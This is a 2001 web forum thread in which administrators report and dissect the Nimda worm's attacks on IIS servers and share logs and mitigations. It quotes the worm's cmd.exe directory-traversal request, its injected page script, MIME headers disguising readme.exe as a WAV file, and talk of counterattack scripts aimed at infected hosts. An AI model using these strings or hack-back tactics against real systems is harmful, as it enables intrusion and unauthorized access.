Subject: Messaging Subsystem\Profiles\aabbccsql replication_sub_table_v12_220010912_passdrowscurre ntsenthilsql replication_sub_table_v12_2sql
replication_sub_table_v12_220010913_passdrowscurre nt20010912_passdrowscurrentsenthilsqlreplication_2 0010807sql replicationmail.k2services.com.20010806_passdrowsc urrent

Now this subject isn't exactly meaningless, but it certianly is suspicious.

Re:Strange Emails

[nitemayr]

This looks like par tof Active Directory's SMTP replication... Anybody aggree/back me up?

Re:Strange Emails

[ergo98]

One I got had the subject "ware\Microsoft\Windo,b4 ü4desktopdesktop". It looks like it (the virus) has a pointer error and their subject isn't what they were expecting it to be.

Re:Strange Emails

[Midnight Ryder]

One I got had the subject "ware\Microsoft\Windo,b4 ü4desktopdesktop". It looks like it (the virus) has a pointer error and their subject isn't what they were expecting it to be.

That, or it just grabs something at almost random and tosses it out there. I've had one today that says "desktopdesktopdesktopdesktopdesktop..." etc.

Re:Strange Emails

[Norny]

I got an email from a professor at school with that garbage in the subject. I just mailed him back to let him know he probably had a virus. I was using Mozilla at the time, so I'm not worried about whatever might have been hidden in a javascript tag of the email.

Think about the effort....

[Richard_at_work]

Granted these guys are headed in the wrong direction, but u have got to hand it to em, some of this code is fantastic. Much better than ive seen elsewhere. Now if only there was someway to get em to create a virus that only took web pages off the net if they had the / tag in em ;)

Ack! RIT is geting the smack!

[Misch]

I jsut checked a server I run over at RIT... it's been hit by over 20 boxes in the past hour. *shiiite*. Serves us right... we have all this wonderful IT department, and they can't even teach their students how to secure a box.

Here it is :)

[apankrat]

http://www.symantec.com/avcenter/venc/data/w32.nim da.a@mm.html

Re:Corporate ought to be securing the box better..

[Svartalf]

I'm not Windows bashing- I'm pointing out something that is a real problem.

1) Linux/UNIX is not invulnerable, but it's been years since the Morris Worm. We're seeing a spate of this sort of stuff under NT- why? Is it because of sloppy admin work, lack of overall security in the design of Windows, or both?

2) If you can't apply security patches because it'll break your machine, then maybe there IS a problem with the OS.

Where did it start this time?

[-douggy]

13:11:47 202.253.250.103 GET /MSADC/root.exe 401

** Resolved 202.253.250.103 to 1surg.kpu-m.ac.jp
Blah Blah Blah

Had about 10-15 attempts today on my parents AOL connection. I have authentication enabled on my server and seem ot have all patches i can find installed. I wanna be back behind my smoothwall install though.

Funny...doesn't follow 302 redirects

[maan]

I have mod_rewrite enabled so that any requests that specify a hostname other than www.mydomain.com get a redirect towards the full URI. However, I'm getting all requests being redirected, but they never actually follow the redirection...

Maan

Readme

[almeida]

I was going to various IP's that hit me and it isn't readme.eml, but readme.exe. In IE, it gives the standard "Open or Save" dialog.

internet traffic report

[abaptist]

If you want to see how bad this has become, look at the current internet traffic report. Internet traffic appears to have come to a halt. It can't really be as bad as it looks there (since I can still get through :), but this corresponds to the time I started seeing the attack in my server logs.

Re:internet traffic report

[Cesaro]

Wow...that's the first time I've seen the ITR at all zeroes. Huh. 100% packet loss to everywhere it polls. interesting.

-^Cesaro

Re:internet traffic report

[CaptSwifty]

If you read the FAQ on the site, it says this:

Q: Why does ITR sometimes show all zeros or strange numbers?
A: We are currently working on a complete re-write and overhaul of the ITR system to provide much more detailed and accurate information more quickly and reliably. During this transition phase, there may be rare occurrences when the data reported by ITR looks "strange" for an hour or so. Please bear with us during this transition, as we are certain that the new ITR (to be released sometime near the end of September) will be well worth the wait!

So, it appears that it could be that, and not this worm.

Re:internet traffic report

[Anonymous Coward]

yeah but if you look at some of the detailed time graphs it shows that it all happened at right about 9:00.. now of course they could have taken it down seeing the traffic figuring it was a good time to patch or some such.. but it does look kinda funny

Re:internet traffic report

[Anonymous Coward]

LETS HOPE that that's not the worm!!

Been done

[macdaddy]

I remember reading something about someone doing this back when CodeRed II came out. He had a simple CGI to submit a shutdown command to the inquiring machine. Cool. :)

Re:Been done

[ogre2112]

Yep, you can see a working version, written by Sam Phillips here: http://ogg.2y.net/default.txt

Re:Been done

[Syberghost]

I remember reading something about someone doing this back when CodeRed II came out. He had a simple CGI to submit a shutdown command to the inquiring machine. Cool. :)

That's the old version of the DasBistro script. You can get it here.

Re:Been done

[Anonymous Coward]

So, uhhh, did anyone verify if that script acutally worked?

The ROOT.EXE shell provided by CRII ran as an uprivledged user and couldn't shut down anything. That script appears to be missing the Unicode exploit (and so on) that gets you r00t.

Re:Been done

[ncc74656]

I remember reading something about someone doing this back when CodeRed II came out. He had a simple CGI to submit a shutdown command to the inquiring machine. Cool. :)

<shameless_plug>
It's SSI and not CGI, and it only generates a pop-up (shutting down a host, while admittedly more useful, has some potential legal issues attached to it), but I have something similar here. I also have a shell script that runs down a list of infected hosts (yanked from a MySQL database, though you could modify it for a flat-file Apache log with judicious use of grep, sed, and/or awk) and sends a pop-up to those hosts.
</shameless_plug>

I also have running totals of Code Red hits and of this new attack (the numbers for the Unicode vulnerability are pretty shocking by comparison).

Re:Been done

[Telek]

except it didn't work.

at least it never did when I tried it.

because the IIS machine runs scripts as IUSR_ which is a member of the guests group only.

The exploits actually upload code into the memory area of IIS, thus running as whatever user IIS is running as.

Re:Been done

[Anonymous Coward]

Here's the flow of that POS script:

+ Send HTTP request to CMD.EXE
+ Checks that the HTTP request was successful, but doesn't do any additional checking
+ Tell the user that they've been successful in shutting down IIS.

+ Sends another HTTP request. (Hey dumbass - If IIS was shutdown, THIS WOULDN'T WORK!)
+ Checks that the HTTP request was successful, but doesn't do any additional checking
+ Tells the user that the OS was shut down.

+ 15 year old punk sitting in his own jizz grins at his l33tness.

Re:Been done

[Ksop]

are you counting each of the attacks seperatly or are you counting each group of attacks as 1 attack? Cuz each attack tries a number of different GET requests along with a cmd. That might make the numbers look a little different when comparing to CR cuz CR only tried 1 thing right?

I had a CR counter too but it was ghetto compared to yurs. You are truly 1337.

Re:Been done

[ncc74656]

are you counting each of the attacks seperatly or are you counting each group of attacks as 1 attack?

Each counter is generated by a different MySQL query. The Code Red counter pulls every request for /default.ida; that was the only request that it tries to make. The Nimda counter pulls every request that includes cmd.exe and that happened since this morning. Since Nimda includes some other requests, my counter is probably understating the amount of traffic I'm getting. I need to look at the other requests that Nimda makes and add them to the query. I'd fix it now, but my system must be taking a pounding right now. I was able to log in, but when you enter a command, you don't even see it echoed back for maybe half a minute or so. Even a simple ls takes a minute or two to send its results out...my cable modem might as well be a 300-bps acoustic coupler, as slow as it's going. Hell, the acoustic coupler would probably be faster right now. :-( This damn worm has brought the entire Internet to a crawl...both /. and MSNBC are hella sluggish right now (MSNBC more so than /.).

Re:Been done

[Dog and Pony]

Hehe, after looking a bit on your site, I wrote my own little perl script that answers back on such requests. Hard to tell if it works, I don't really know what to expect - although when I seem to get the whole IIS binary back, I'd say something went wrong on the other side. Lol.

Anyways, I don't have lynx on this y2k machine, but I do have apache, so I made a version of your SSI thingy in perl. Thanks for the tip. :)

Hopefully I bug someone into fixing their server...

readme.eml headers

[BubbaFett]

MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====_ABC1234567890DEF_===="
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1

--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="

--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--

--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="readme.exe"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>

Is Internet Explorer 6.0 vulnerable

[savaget]

Is Internet Explorer 6.0 vulnerable?

Re:Is Internet Explorer 6.0 vulnerable

[Anonymous Coward]

Yes...

Re:This could explain why I can't reach my machine

[baronben]

Oh yah. When I woke up I had about 1500 attacks from the 24.18.xxx.xxx address (my subnet on @home) and in the past 3 minutes since I cleard the logs, I've have 15 attacks from the same places. Sigh

So what will ISP's do?

[Mr_Silver]

The ISP's are in an interesting situation. As far as I can see it, they have several options for now and the future:

1. Turn off any infected machine
2. Prevent port 80 access for everyone
3. Ignore it

1 is possible but it going to be a fair bit of work, 2 is going to peeve off a number of people but will solve the problem and 3 will just allow their whole network to grind to a halt.

Don't know about everyone else but if this keeps up (with this virus and the 100 just around the door) we won't see many ISP's allowing web servers to run at all, ever.

(As a subnote, my bosses cable modem company, NTL, specifically forbid running a server on your own machines - although, as yet, they don't activily police it)

Re:So what will ISP's do?

[J'raxis]

#1 is simple. Set up a machine to collect these requests. Grab all the IPs (the ISPs know who owns what, obviously), send an email to the people who own them to fix their mess. If, x days later, the IP is still hitting the honeypot machine, suspend their account.

/var/log/httpd/access_log at 388k and climbing.

Re:So what will ISP's do?

[Prop]

Would it not be simple for ISPs to check what kind of machine they just gave an IP address to (generally, via dhcp or whatever), and if it's running IIS, disable port 80 access ?

Not hard to implement, and it's not a blanket ban for all port 80s. People who get their port 80 disabled probably don't even know they had it on to begin with.

Re:So what will ISP's do?

[eth1]

I think they oughta just ban IIS in their ToS...
If you want to have a web server on our network, you have to use secure software.

Re:So what will ISP's do?

[tswinzig]

Don't know about everyone else but if this keeps up (with this virus and the 100 just around the door) we won't see many ISP's allowing web servers to run at all, ever.

Assuming you mean they won't allow port 80 traffic, you'll just see an increase in URL's like this:

http://visit.mysite.com:8080/

The only way to really block web servers is to setup firewalls that can detect HTTP requests on any port, and block them. However, if they really went that far, they'd soon find themselves without a lot of customers. Obviously they need to go a different route.

Re:So what will ISP's do?

[nmos]

The sorts of people who would know to do that arn't the problem. The vast majority of hits I've been getting from this worm have been from systems where the owner doesn't know they have a web server installed. FWIW I'm still seeing CR hits from these people too.

Anyone know of a tool to stop it using bandwidth?

[andruhill]

Does anyone know of a tool or a quick fix to stop this thinging chewing up bandwidth?

I run debian and apache (as most of you proberly do) and I'm getting over a 100 requests a minute for it to infect my system. It certainly makes a good DoS worm for us non-MS users as my services slow down and /var creeps towards 100%.

Re:Time for a class action lawsuit against Microso

[WildBeast]

Heuh? Well if the crackers can get out with an easy sentence like 240 hours of community service, I'm sure MS with all it's lawyers will have charges dropped.

Getting it in 209.240.x.x

[invisik]

Fortunately, running apache on irix, so it ain't no thing. :)

-m

Re:Getting it in 209.240.x.x

[Anonymous Coward]

Sorry for the flame but STOP POSTING IPs. Duh, it's spreading. By evening (when most people get home and check their e-mail and open .EXE attachments like a bunch of idiots) this thing will be scanning every fricking IP on the planet. The solution is simple. Ban Microsoft.

Re:Getting it in 209.240.x.x

[WildBeast]

While we're at it ban OS's, ban the Internet, ban buildings, etc. They're all insecure.

not sure if that means anything

[Anonymous Koward]

I've seen those (and filtered them out of course..too much to read) for over 4 years at 2 different cable isps....I don't think that you're on the right track with this. I've used a strong ruleset in OpenBSD with nothing but the sshd running (no inetd/portmap/httpd/sendmail/etc) for over two years and still see them get denied...just don't worry about them.

Once again..

[Dimensio]

Did a file search on my computer and found 'admin.dll' in two places. One was in c:\windows\system32\dllcache and the other was in C:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_adm

I do have IIS installed because I have done some web development (it's for my company, I'd rather they use Apache or somesuch, but...) I've also seen the 'alerts' and they state that the wormed 'admin.dll' is a 56k file -- mine is only 20k. What worries me is that if I delete it from either location it reappears within seconds from apparently nowhere. Anyone else have info regarding the filesize or the persistance of admin.dll?

I don't have any .eml files or readme.exe, and I have patched against the Code Red exploits.

Re:Once again..

[SuiteSisterMary]

Windows file protection. And are you so sure that those files aren't supposed to be there? The machine I'm on has them, with last modified dates of May 2001, which, I believe, was Windows 2000 SP2 timeframe.

Re:Once again..

[Anemophilous Coward]

Yes, I can confirm the persistance of admin.dll in that location.

Also found another one under ../../40/isapi/_vti_auth. It was titled "author.dll" and it did the same thing; you delete it and it reappears.

These appear to be some frontpage server extension exploit?

- AC

Re:Once again..

[kel-tor]

Win2K has some features. For instance, if you replace notepad.exe with notepad.exe from rogsoft, Windows will overwrite you're version with the original. Ditto to just trying to delete all the outlook files off of the computer. Windows pulls the replacement versions from the dllcache, so to delete outlook or replace notepad, you first do it in this director. To get to dllcache remember to turn view hidden system directory's on and ignore the warning not to do this. If you have a service pack installed and the i386 still available under the windows directory, you first need to replace or deleted the files from there before the dllcache or dllcache will repair itself and delete your programs again. When you get it right, windows will ask for you're install CD to fix a problem, click cancel. Then there's some message about unrecognized versions which you click to accept. The empty directory for frontpage and outlook can not be deleted however (you can delete them in safe mode, but windows restores them on a normal boot).

Re:Once again..

[NutscrapeSucks]

SFP is a good idea because it's practically the only way to defeat the numerous shitty installers out there that want to install their 'special' system DLLs from 1996.

SFP is horridly implemented because as you note, it covers utilities like notepad.exe, and my favorite, certain fonts.

It also broke MS's 'Securing IIS 4.0' document which recommended that you delete OS2.DLL, POSIX.DLL (etc), and move your executable commands to a different directory.

Maybe the white-hat CR2 anti-worm was a good idea

[Swordfish]

All things considered, maybe those who argued against sending out an anti-worm to automatically patch or otherwise neutralise the remaining 40,000 Code Red II infected machines were wrong.

The fine points of Internet ethics seem a little insignificant now compared to the harm that this new infection is doing. What next?

My estimate of intensity of this one is that it is costing me about 10 times the bytes per second of CR2. (We pay for our bytes in Australia!)

no time to create an account (sheesh)

[Anonymous Coward]

Anyone cleaned this virus succesfully yet (besides shutting down port 80 or turning off the server)?

0wn3d ! ya biatch !

[Anonymous Coward]

Islamic Republic Of Iran
- Ministry Of Interior -

Own3d by the Dispatchers

Found out about it here. It loads pretty slow, so ya better use lynx or something.

Does it affect IE 6?

[invisik]

Just wondering if that's a good thing to do if IE 6 isn't vulnerable. Just have everyone hit Windows Update and upgrade.... Thanks.

-m

Re:Does it affect IE 6?

[WildBeast]

IE6 tried opening it with Windows Media Player and then it said that the format wasn't recognized. So my guess is that it's not vulnerable.

Re:Corporate ought to be securing the box better..

[Anonymous Coward]

Well, you can.

Just start training all your users on dumb termnals.

And start pulling all the RS-232 cable.

Irony

[The G Man]

Well, I'm not sure why, but in addition to all my friends, it sent it out to all the people who've emailed me... including, it seems, all the various spammers who've found my email address. And I'm getting it all returned because their inboxes are full.

Ah, I love poetic justice.

WOO HOO

[chrysrobyn]

It looks like somebody managed to patch all those code red [2] infected servers! I havn't gotten a single code red [2] attack since 9:30 this morning! Of course, all those error messages have now been replaced with 16 lines of error messages, and the frequency has gone up exponentially...

Hey, give me back my code red [2] error messages!

Apache::CodeRed update (1.08b)

[Woodstock]

I've touched up the Apache::CodeRed Apache Perl module if anyone is using it. I've included examples on which Locations to set the handler to to catch the new attack as well.

This is an unofficial patch. I've emailed the author this patch as well.

Patch from 1.07 to my 1.08:
http://woodynet.siscom.net/CodeRed-1.07-1.08.pat ch

Full tarball of my 1.08

http://woodynet.siscom.net/Apache-CodeRed-1.08.t ar .gz

-Woodstock

Hits from...

[macdaddy]

My hits have been from...

208.
207.
65.
63.
For the record, I'm in 208.

unmap your EML file association

[Anonymous Coward]

install the Windows Resource Kit.

read...

C:\Program Files\Resource Kit>associate

Registers or Unregisters a file extension operating system shell.

ASSOCIATE .ext filename [/q /d /f]

.ext Extension to be associated.
filename Execuatble program to associate .ext with.
/q Quiet - Suppresses all interactive prompts.
/d Delete - Deletes the association if it exists.
/f Force - Forces overwrite or delete without questions.

Examples:
Associate .Lst NotePad.Exe
Adds the association of .Lst with Notepad.Exe.

Associate .Lst /d
Deletes the association of .Lst from Notepad.Exe.

Associate .Lst
Returns the association for .Lst if it exists.

Return Value:
A return value of zero indicates success.

C:\Program Files\Resource Kit>associate .eml /d
Remove association ".eml,"%ProgramFiles%\Outlook Express\msimn.exe"" (y/n) ? Y
Association ".eml,"%ProgramFiles%\Outlook Express\msimn.exe"" removed

C:\Program Files\Resource Kit>

Re:unmap your EML file association

[Lxy]

Easier method:
Create a text file and name it something like eml.reg. Right click, select Edit. Paste the following lines into the file:

REGEDIT4

[HKEY_CLASSES_ROOT\.eml]
@="Microsoft Internet Mail Message"
"Content Type"="text/plain"

And save the file. Double click and it will add itself to the registry. This will re-associate the .eml extension with Notepad. NOTE: this may affect Outlook since the .eml is an extension used for mail stores. Use at your own risk.

Re:unmap your EML file association

[mystik]

we tried this here.

if there is a <script&> tag in the message, ie seems to still execute it. Here is a test eml file.

---8<---
From me@you.org
Subject: test message
From: the devil <devil@evil.org>
To: you <you@yourcomputer.org>
Content-Type: text/html

<body>
<script>
window.open('http://www.microsoft.com');
</script>
This is a test eml file. tell me if you see it as plain text.
</body>
---8<---

Re:unmap your EML file association

[Anonymous Coward]

my msimn.exe was 100K after the attack. I replaced it with an older version that was 42K and it is doing much better. i.e. no more .eml files showing up everwhere.

Re:unmap your EML file association

[Spy Hunter]

You should use regedit to look at and save the current value of this key first so you can restore your system when Microsoft releases the patch. Otherwise you could have some trouble re-associating it because the current value is an umpteen-digit GUID. If you lose that value you might not be able to find it again.

Start->Run, type in "regedit." Open the HKEY_CLASSES_ROOT folder, find .eml, then right-click its value and select "Modify." Copy and paste this value into a file somewhere where you'll be able to find it again. Then change the association like above.

Re:unmap your EML file association

[jsse]

And save the file. Double click and it will add itself to the registry. This will re-associate the .eml extension with Notepad. NOTE: this may affect Outlook since the .eml is an extension used for mail stores. Use at your own risk.

I once remap .vbs to notepad before I could find a solution to fix HELLO.VBS virus in a user's machine. It works, kinda, but the notepads are spamming too fast for me to do anything else.

I wonder if there's something like 'false' or /dev/null that I could use in this case. :(

Watch the Action From Here - public logfile.

[BigBlockMopar]

I would forward this to the Help Desk people here, but then they'd know I was reading /.

Just e-mail them this link: www.glowingplate.com/ida.shtml. Tell them that a friend sent it to you.

The link goes to a page offering a real-time view of the new worm attacking my machine.

Re:Watch the Action From Here - public logfile.

[SEWilco]

Do you have a page where we can watch a real-time view of your site getting slashdotted?

Re:Watch the Action From Here - public logfile.

[BigBlockMopar]

Do you have a page where we can watch a real-time view of your site getting slashdotted?

Heh. I should do that, but I think it could become a vicious circle.

The best I can offer right now is that you go to my main page (www.glowingplate.com/welcome.shtml) and look at the uptime at the bottom of the page. The server load is currently running about 1.50; most CPU cycles are still going to SETI@Home or to the script which sniffs out the worm attacks.

Re:Watch the Action From Here - public logfile.

[Dexx]

Thanks for that. It was nice to be able to see the actual attack contents.

JetDirect print servers affected??

[ka9dgx]

Twice this morning I've had to power cycle an HP JetDirect, something I've NEVER had to do before... is this related, or just coincidence?

--Mike--

Re:JetDirect print servers affected??

[Knobby]

When the CodeRED worm hit it peak, we had to reboot a few of our printers. There's an issue with the embedded network code on some of the jetdirect cards.. Apparantly, there is a way to download and update that code, but I never bothered, as my printer was fine, and the sysadmin handled the public printer down the hall...

Re:JetDirect print servers affected??

[Anonymous Coward]

I've been getting hit hard by this too, and my jetdirect server is fine.

Re:JetDirect print servers affected??

[Peter H.S.]

Twice this morning I've had to power cycle an HP JetDirect, something I've NEVER had to do before... is this related, or just coincidence?
An awfull amount of equipment with embedded webservers, was affected by Code Red*, including (some/all?) HP JetDirect printservers, but also all kind of managed switches, and routers.
Usually because a small memory leak would occur for every GET, enough GETs in a row, and the system will lockup, until powercycled.
Of course, other problems may lay behind the lockups of your equipment. But since the HP JetDirect in question, probably is on the LAN side, you may have infected machines behind your firewall.

Re:JetDirect print servers affected??

[ka9dgx]

"But since the HP JetDirect in question, probably is on the LAN side, you may have infected machines behind your firewall."

I don't believe in firewalls, but this might change my mind.
--Mike--

Re:JetDirect print servers affected??

[elefantstn]

I don't believe in firewalls

Explains why your printer is getting hit by an internet worm.

Re:JetDirect print servers affected??

[Cramer]

I'm seeing a number of Netopia (R-Series) routers completely freaked out by either all the traffic or too much junk (read: any) sent to the "SmartWeb" server. Personally, I always turn off any f***ing web server on my network hardware -- esp. netopias... they tend to crash using the web interface *correctly*.

Re:JetDirect print servers affected??

[Anonymous Coward]

If I told you that your printer probably accepts jobs over HTTP would you change your mind?

Or would you run around 'hardening' your printers?

confirmed

[svanegmond]

I am getting pounded by this worm. Check out my web traffic graph:

http://bang.dhs.org/mrtg/webhits.html

the part up to 12 noon is the worm; anything above that is slashdot.

I'm on @home, 24.114.*.*.

13:26 London time. Damn, this thing is fast.

[TDScott]

...but then, as it's trying everything, it would be...

SIGSEGV

[J'raxis]

I keep seeing these nasty little errors in the midst of a flurry of worm requests:

[Tue Sep 18 09:32:51 2001] [notice] child pid 20122 exit signal Segmentation Fault (11)

Anyone else seeing this?

Re:SIGSEGV

[Anonymous Coward]

Yes, I am running apache on linux and getting more or less the same sort of thing.

Re:SIGSEGV

[themoe]

Yes, I am seeing it as well. I'm using tcpdump to try to track it down. So far I've been able to correlate it to just /one/ of my virtual hosts. It doesn't happen everytime the worm hits me, just when a particular site I host gets hit. This virtual host has a few uncommon things about it:
1) It doesn't log IP addresses.
2) It redirects 404s.
3) It has 32 other Redirect Permanent statements.
4) Options Includes FollowSymLinks ExecCGI

Apparently it's happening when one of these two files is requested (more likely the 2nd one):
/scripts/..Á../winnt/system32/cmd.exe
/scripts/..À../winnt/system32/cmd.exe

Apache 1.2.20, PHP 4.0.6, kernel 2.4.9, mod_perl 1.26, KRUD 7.1 (RH7.1 based distro)

I have Segfaulted 300+ times today, 0 yesterday.

Ideas anyone?

Re:SIGSEGV

[grahamsz]

The problem is apparent on Apache's below 1.3.12 and they appear to segfault when they obtain any query string containing a %2f.

Check out:

http://bugs.apache.org/index.cgi/full/543.

One of the requests made by the worm is:

"GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 "-" "-"

You will probably find that this is not in your logs and that a segfault appears in it's place.

We failed to find any workaround but the server load is so low that we dont deem it worth the hassle of upgrading to a newer apache.

We've been hit

[Suffering Bastard]

Just to add my name to the list, my company's server has also been hit. It turns out the servers sends TWO files to the client: a readme.eml, and a readme.exe. I'm gonna setup a test box to see what these files do.

Frustrated in Chicago,
-Suffering Bastard

How to stop Internet Explorer executing said wav

[TDScott]

I'm fairly sure this will work, but IANAMSCE...

Go to Tools > Internet Options > Advanced.

Uncheck 'Play sounds in web pages'.

Info and questions

[ergo98]

The trojan of course is infecting IIS machines using the standard sadmind tactics (in fact it looks like it's just hitching a ride on it), but then it installs an ISAPI filter or the like and serves up a file called README.exe to all visiting clients. I can't verify but it does look like it DIDN'T automatically run the file in either 2000/IE6 or 2000/IE 5.5, however it does launch a window at 6000x6000. If the file is run (presumably automatically on infected IIS servers) it does a variety of things such as apparently encapsulating the Concept word macro virus, and it also enables the Guest user account and sets it to have full permissions on the C$ share. I can see this by simply looking at the readme.exe (gosh I hope the virus writers don't chase me with the DCMA...).

What I want to know is what the readme.eml attachment is doing in the window at 6000x6000.

Re:Info and questions

[Anonymous Coward]

trying to fill up the desktop as to try to thwart an immediate response?

A moment of advocacy

[sjbe]

Look, we're all sick to death of these various Outlook/Office/etc viruses due to the virtually nonexistant security in these applications. Obviously, MS hasn't been particularly interested in fixing the problem and it is highly unlikely that they will fix it anytime soon. Easy is what sells so that is what MS will do, even if it is the "Wrong Thing" to do.

One thing that annoys me though is that MS never seems to get plastered with responsibility for the problem. It's always a "computer virus", never an "Outlook virus" or "Office virus". And maybe that is to some degree our fault. Let me explain that.

Many of us who read Slashdot are techies, sysadmins, and programmers. We're the ones stuck dealing with and often fixing the mess Windows leaves behind. So perhaps, we need to be a little more persistant in placing the blame where it is due.

So here is what I'm going to do, and if it makes sense to you try it too. Henceforth, all viruses, worms, and trojans will be referred to as a Microsoft Outlook Virus or an Microsoft Office Virus. Written with Visual Basic? Fine, it's a Microsoft Office Virus. Takes advantage of Outlook? It's a Microsoft Outlook Virus. Yes that is inaccurate but that's not the point. The point is to make sure everyone is aware of who wrote the crappy software that permitted their computer to crash, why the network borked, and why they lost their files. It's because they insisted on using Microsoft products. I will insist on it, proclaim it from the highest mountain , and oh btw explain that there are alternatives.

Will this destroy Microsoft? No, of course not. But if everyone believes that Microsoft products are virus ridden and that the alternatives aren't it certainly is more likely that the alternatives (*cough*opensource*cough*) will get more consideration.
And if by some miracle enough of a stink is made, maybe, just maybe they'll fix the problem. And that wouldn't be too bad either...

Re:A moment of advocacy

[richie2000]

Good idea. Remember how adamant Microsoft was that all of their products should be named Microsoft Word, Microsoft Internet Explorer and so on to build name recognition? This seems like a very good time to adhere to Waggener-Edstrom's recommendations. Let's start with renaming Code Red to Microsoft Code Red, Visual Basic to Microsoft Vicious Basic and VBScript to Microsoft Virus Build Script. :-)

Re:A moment of advocacy

[NutscrapeSucks]

First of all, the current topic is a "Microsoft Internet Information Services Worm" and nobody is saying otherwise.

Second, in the SirCam threads on Slashdot, we had 200 people, including CmdrTaco calling it a "Microsoft Outlook Virus/Worm", when in fact it was not. It was a Win32 program that was completely mail-client independant, although it would grep the Windows Address Book (used by Outlook in some configurations, but not others) and IE's cache directories. Lots of "advocates" that were discredited by not getting their facts straignt.

Although, I agree with the point -- Calling something a "VBS Virus" is retarded given that there's nothing particularly special about the Visual Basic Script language that makes these viruses possible.

Re:You could just take my cable company's approach

[coldshado]

IMO, It looks very unprofessional when someone tries to be professional while hosting their website on a home-level cable modem.

Report from IU

[Anonymous Coward]

I am going as an A.C. as to not compromise my job.

IU computers are TOTALLY infected with this worm. There is a huge internal attack going on, and my Apache server (also on the IU network) is getting these requests from no less than 10 servers on our network.

IU is a huge FOB (friend of bill). They love their Microsoft crap and they can't get their servers patched correctly. Thus, we have a huge DOS problem from hell.

Re:Corporate ought to be securing the box better..

[elefantstn]

Remember the Internet Worm? (I don't, I'm too young, but still).

Exactly. I'm too young too. But I'm not too young to remember Melissa, Kournikova, Code Red, et al. It's constant. It happens all the damn time. And I'm fed up with it.

This is the EML file headers...

[TDScott]

...and it's actually quite clever if you look closely...

MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====_ABC1234567890DEF_===="
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1

--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="

--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

--====_ABC0987654321DEF_====--

--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="readme.exe"
Content-Transfer-Encoding: base64
Content-ID:

Re:This is the EML file headers...

[Anonymous Coward]

"...and it's actually quite clever if you look closely... "

For the benefit of the slow, what do these headers do that's clever?

Re:This is the EML file headers...

[TDScott]

Apart from the fake MIME headers, there is this little gem:

Content-Type: audio/x-wav;
name="readme.exe"

IE interprets this as 'I'm a WAV file, I'm harmless', ignoring the fact that the extension is quite clearly an EXE file.

Re:This is the EML file headers...

[NutscrapeSucks]

It looks like this was patched in March:

Microsoft Security Bulletin (MS01-020) Incorrect MIME Header Can Cause IE to Execute E-mail Attachment

Re:This is the EML file headers...

[Anonymous Coward]

That doesn't help Melvin Luzer, who has a dual-boot NT4.0 and Slackware 3.2 box without any updates on either.

Beyond your local /24

[mikeraz]

Some behavior updates:

I'm seeing hits from 65.x.y.z, 208.x.y.z and 207.x.y.z. My web servers are on 209.x.y.z.

Compared to CodeRed at ~60 probes a day, this one is averaging ~750 probes an hour.

Infected systems that contact me include fraternity Pi Kappa Phi and "leathernecks.net" Marie Corp appreciation site.

Re:Time for a class action lawsuit against Microso

[Seedy2]

Many to one... I wonder If a many to many lawsuit would work?
Let's all bring suit against all the IP holders who remain unpatched after all this time.
Is it MS who is at fault? Yes, at first anyway.
Is it MS's fault if people don't patch their software? No

yup, confirmed here in arizona also

[Freija Crescent]

i run a domain in the 63.110.x.x subnet, and this worm is particularly fierce here. I'm logging about 20 attempts per second at peak. Really bizarre.
The IP addresses that these are coming in from are quite varied and seem spread out across the country. Oh well.. maybe people will get a clue and just shut down all the IIS boxes.

I'm not stating that linux is better, it's just that people aren't wasting their time trying to bring down apache servers. I'm really thankful of the fact they haven't targeted apache yet.

As if anyone cares, my first 'hit' was from 63.110.157.49 at 0628 this morning. And yes, this thing is quite spammy.

lemme sing you a song...

[raindown]

* to the theme of Joan Jett's "I love rock and roll" *

I LOVE IIS, PUT ANOTHER WORM IN MY SERVER BABY!

11:50:36 -0500 83 unique adresses in 216. so far

[marcus]

That's all for now...

Auto firewall these morons

[Anonymous Coward]

The following will automatically deny requests on the _FIRST_ request apache gets from the worm.

setuid iptables (yes I don't even want to hear you bitching about this... if you find a better way I want to hear it!)

Then in your httpd.conf file (for apache) add in

ScriptAlias /scripts/ ""

And put the following script in your cgi-bin dir, don't forget to make it executable

#!/bin/sh

# disable filename globbing
set -f

echo Content-type: text/plain
echo

echo You have now been firewalled...

echo REMOTE_ADDR = $REMOTE_ADDR

/sbin/iptables -t filter -A INPUT -p tcp --dport http --source $REMOTE_ADDR -i eth0 -j DROP

Re:Auto firewall these morons

[Anonymous Coward]

Damnit.. slashcode ate the info in the quotes on the script alias line..

between the two quotes put in the location of your cgi-bin directory.

4.3.x.x

[Darth Maul]

I'm on Earthlink (4.3.x.x) and have 732 different IP's logged trying to hit me using this new technique. Ouch.

Looks like it's spreading.

Re:Maybe a Box collection for mas DDoS on Afganist

[h4x0r-3l337]

Isn't the Internet illegal in Afghanistan? (just like music and TV are illegal there) If so then there really is no point in staging a "cyberwar" against Afghanistan, because they have to infrastructure to target.

Disable Javascript

[Krelnik]

If you have Javascript disabled by default in your browser, these infected web pages are not a problem.

Here's the script it adds to the bottom of the page. It does it OUTSIDE the <HTML %gt; </HTML %gt; wrappers to the page, so its really obvious it was just tacked onto the end...

<html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script> </html>

Re:Disable Javascript

[bobwoodard]

Or.... if you use mozilla, you get the option to download. Much nicer that IE, which served it up to me right away, no questions asked.

admin.dll

[Anonymous Coward]

MS has a file named "admin.dll", although I don't know if it is the same one.

admin.dll, 20,540 bytes, MS Web Server Extensions 4.0
